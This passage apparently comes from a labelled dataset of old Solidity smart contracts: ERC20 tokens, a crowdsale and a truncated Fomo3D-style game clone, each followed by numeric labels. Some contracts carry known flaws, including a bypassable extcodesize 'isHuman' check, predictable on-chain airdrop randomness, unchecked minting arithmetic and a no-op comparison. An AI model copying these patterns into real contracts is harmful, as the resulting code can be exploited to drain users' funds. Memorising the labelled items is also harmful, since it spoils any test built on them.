assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract ZBTCoin is StandardToken {
string public constant name = "ZBT";
string public constant symbol = "ZBT";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals));
function ZBTCoin() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
} | 1 | 3,557 |
pragma solidity ^0.4.16;
contract ERC20Interface {
function totalSupply() public constant returns (uint256);
function balanceOf(address owner) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
function allowance(address owner, address spender) public constant returns (uint256);
}
contract VRCoinCrowdsale {
struct Period
{
uint start;
uint end;
uint priceInWei;
uint tokenToDistibute;
}
uint public constant VRCOIN_DECIMALS = 9;
uint public constant TOTAL_TOKENS_TO_DISTRIBUTE = 750000 * (10 ** VRCOIN_DECIMALS);
uint public exchangeRate = 853;
address public owner;
bool public hasStarted;
Period public sale;
ERC20Interface public tokenWallet;
uint coinToTokenFactor = 10 ** VRCOIN_DECIMALS;
event Transfer(address to, uint amount);
event Start(uint timestamp);
event Contribution(address indexed from, uint weiContributed, uint tokensReceived);
function VRCoinCrowdsale(address walletAddress)
{
owner = msg.sender;
tokenWallet = ERC20Interface(walletAddress);
require(tokenWallet.totalSupply() >= TOTAL_TOKENS_TO_DISTRIBUTE);
require(tokenWallet.balanceOf(owner) >= TOTAL_TOKENS_TO_DISTRIBUTE);
hasStarted = false;
sale.start = 1521234001;
sale.end = 1525122001;
sale.priceInWei = (1 ether) / (exchangeRate * coinToTokenFactor);
sale.tokenToDistibute = TOTAL_TOKENS_TO_DISTRIBUTE;
}
function updatePrice() {
require(msg.sender == owner);
sale.priceInWei = (1 ether) / (exchangeRate * coinToTokenFactor);
}
function setExchangeRate(uint256 _rate) {
require(msg.sender == owner);
exchangeRate = _rate;
}
function startSale()
{
require(msg.sender == owner);
require(hasStarted == false);
if (!tokenWallet.transferFrom(owner, this, sale.tokenToDistibute))
{
revert();
}else{
Transfer(this, sale.tokenToDistibute);
}
require(tokenWallet.balanceOf(this) >= sale.tokenToDistibute);
hasStarted = true;
Start(block.timestamp);
}
function changeOwner(address newOwner) public
{
require(msg.sender == owner);
owner = newOwner;
}
function changeTokenForSale(uint newAmount) public
{
require(msg.sender == owner);
require(hasStarted == false);
require(tokenWallet.totalSupply() >= newAmount);
require(tokenWallet.balanceOf(owner) >= newAmount);
sale.tokenToDistibute = newAmount;
}
function changePeriodTime(uint start, uint end) public
{
require(msg.sender == owner);
require(hasStarted == false);
require(start < end);
sale.start = start;
sale.end = end;
}
function withdrawTokensRemaining() public
returns (bool)
{
require(msg.sender == owner);
uint crowdsaleEnd = sale.end;
require(block.timestamp > crowdsaleEnd);
uint tokensRemaining = getTokensRemaining();
return tokenWallet.transfer(owner, tokensRemaining);
}
function withdrawEtherRemaining() public
returns (bool)
{
require(msg.sender == owner);
owner.transfer(this.balance);
return true;
}
function getTokensRemaining() public constant
returns (uint256)
{
return tokenWallet.balanceOf(this);
}
function getTokensForContribution(uint weiContribution) public constant
returns(uint tokenAmount, uint weiRemainder)
{
uint256 bonus = 0;
uint crowdsaleEnd = sale.end;
require(block.timestamp <= crowdsaleEnd);
uint periodPriceInWei = sale.priceInWei;
tokenAmount = weiContribution / periodPriceInWei;
if (block.timestamp < 1521234001) {
bonus = tokenAmount * 20 / 100;
} else if (block.timestamp < 1521925201) {
bonus = tokenAmount * 15 / 100;
} else {
bonus = tokenAmount * 10 / 100;
}
tokenAmount = tokenAmount + bonus;
weiRemainder = weiContribution % periodPriceInWei;
}
function contribute() public payable
{
require(hasStarted == true);
var (tokenAmount, weiRemainder) = getTokensForContribution(msg.value);
require(tokenAmount > 0);
require(weiRemainder <= msg.value);
uint tokensRemaining = getTokensRemaining();
require(tokensRemaining >= tokenAmount);
if (!tokenWallet.transfer(msg.sender, tokenAmount))
{
revert();
}
msg.sender.transfer(weiRemainder);
uint actualContribution = msg.value - weiRemainder;
Contribution(msg.sender, actualContribution, tokenAmount);
}
function() payable
{
contribute();
}
} | 0 | 178 |
pragma solidity ^0.4.13;
contract owned {
address public owner;
function owned() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
owner = newOwner;
}
}
contract tokenRecipient { function receiveApproval(address from, uint256 value, address token, bytes extraData); }
contract token {
string public name = 'Application';
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function token(
uint256 initialSupply,
string tokenName,
uint8 decimalUnits,
string tokenSymbol
) {
balanceOf[msg.sender] = initialSupply;
totalSupply = initialSupply;
name = tokenName;
symbol = tokenSymbol;
decimals = decimalUnits;
}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] > _value);
require (balanceOf[_to] + _value > balanceOf[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
require (_value < allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value)
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) returns (bool success) {
require (balanceOf[msg.sender] > _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
}
contract APP is owned, token {
uint256 public sellPrice;
uint256 public buyPrice;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function APP(
uint256 initialSupply,
string tokenName,
uint8 decimalUnits,
string tokenSymbol
) token (initialSupply, tokenName, decimalUnits, tokenSymbol) {}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] > _value);
require (balanceOf[_to] + _value > balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
function mintToken(address target, uint256 mintedAmount) onlyOwner {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
function buy() payable {
uint amount = msg.value / buyPrice;
_transfer(this, msg.sender, amount);
}
function sell(uint256 amount) {
require(this.balance >= amount * sellPrice);
_transfer(msg.sender, this, amount);
msg.sender.transfer(amount * sellPrice);
}
} | 1 | 3,792 |
pragma solidity ^0.4.18;
library SafeMath {
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) constant public returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) constant public returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Auth {
address public owner = 0x00;
mapping (address => bool) public founders;
struct ProposeOwner {
address owner;
bool active;
}
ProposeOwner[] public proposes;
function Auth () {
founders[0x18177d9743c1dfd9f4b9922986b3d7dbdc6683a6] = true;
founders[0x94fc42a2f94f998dfb07e077c8610f7b72977ce3] = true;
}
function proposeChangeOwner (address _address) public isFounder {
proposes.push(ProposeOwner({
owner: _address,
active: true
}));
}
function approveChangeOwner (uint _index) public isFounder {
assert(proposes[_index].owner != msg.sender);
assert(proposes[_index].active);
proposes[_index].active = false;
owner = proposes[_index].owner;
}
modifier auth {
assert(msg.sender == owner);
_;
}
modifier isFounder() {
assert(founders[msg.sender]);
_;
}
}
contract Stop is Auth {
bool public stopped = false;
modifier stoppable {
assert (!stopped);
_;
}
function stop() auth {
stopped = true;
}
function start() auth {
stopped = false;
}
}
contract StandardToken is Token, Stop {
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) allowed;
function transfer(address _to, uint256 _value) public stoppable returns (bool success) {
require(_to != address(0));
require(_value <= balanceOf[msg.sender]);
require(balanceOf[_to] + _value > balanceOf[_to]);
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public stoppable returns (bool success) {
require(_to != address(0));
require(_value <= balanceOf[_from]);
require(_value <= allowed[_from][msg.sender]);
require(balanceOf[_to] + _value > balanceOf[_to]);
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value);
allowed[_from][msg.sender] = SafeMath.safeSub(allowed[_from][msg.sender], _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant public returns (uint256 balance) {
return balanceOf[_owner];
}
function approve(address _spender, uint256 _value) public stoppable returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract BSE is StandardToken {
function () public {
revert();
}
string public name = "BiSale";
uint8 public decimals = 18;
string public symbol = "BSE";
string public version = 'v0.1';
uint256 public totalSupply = 0;
function BSE () {
owner = msg.sender;
totalSupply = 10000000000 * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
}
function mint(address _target, uint256 _value) auth stoppable {
require(_target != address(0));
require(_value > 0);
balanceOf[_target] = SafeMath.safeAdd(balanceOf[_target], _value);
totalSupply = SafeMath.safeAdd(totalSupply, _value);
}
function burn(uint256 _value) auth stoppable {
require(_value > 0);
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
totalSupply = SafeMath.safeSub(totalSupply, _value);
}
} | 1 | 3,948 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract F3Dultra is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x00ba0f428d3cbe8804c4f068ec1a96e2c6b7771f83);
address private admin = msg.sender;
string constant public name = "f3dultra";
string constant public symbol = "f3dultra";
uint256 private rndExtra_ = 0;
uint256 private rndGap_ = 0;
uint256 constant private rndInit_ = 10 minutes;
uint256 constant private rndInc_ = 1 seconds;
uint256 constant private rndMax_ = 20 minutes;
uint256 constant private preIcoMax_ = 50000000000000000000;
uint256 constant private preIcoPerEth_ = 1500000000000000000;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(22,6);
fees_[1] = F3Ddatasets.TeamFee(38,0);
fees_[2] = F3Ddatasets.TeamFee(68,8);
fees_[3] = F3Ddatasets.TeamFee(52,10);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(30,10);
potSplit_[3] = F3Ddatasets.PotSplit(20,20);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < preIcoMax_ && plyrRnds_[_pID][_rID].eth.add(_eth) > preIcoPerEth_)
{
uint256 _availableLimit = (preIcoPerEth_).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
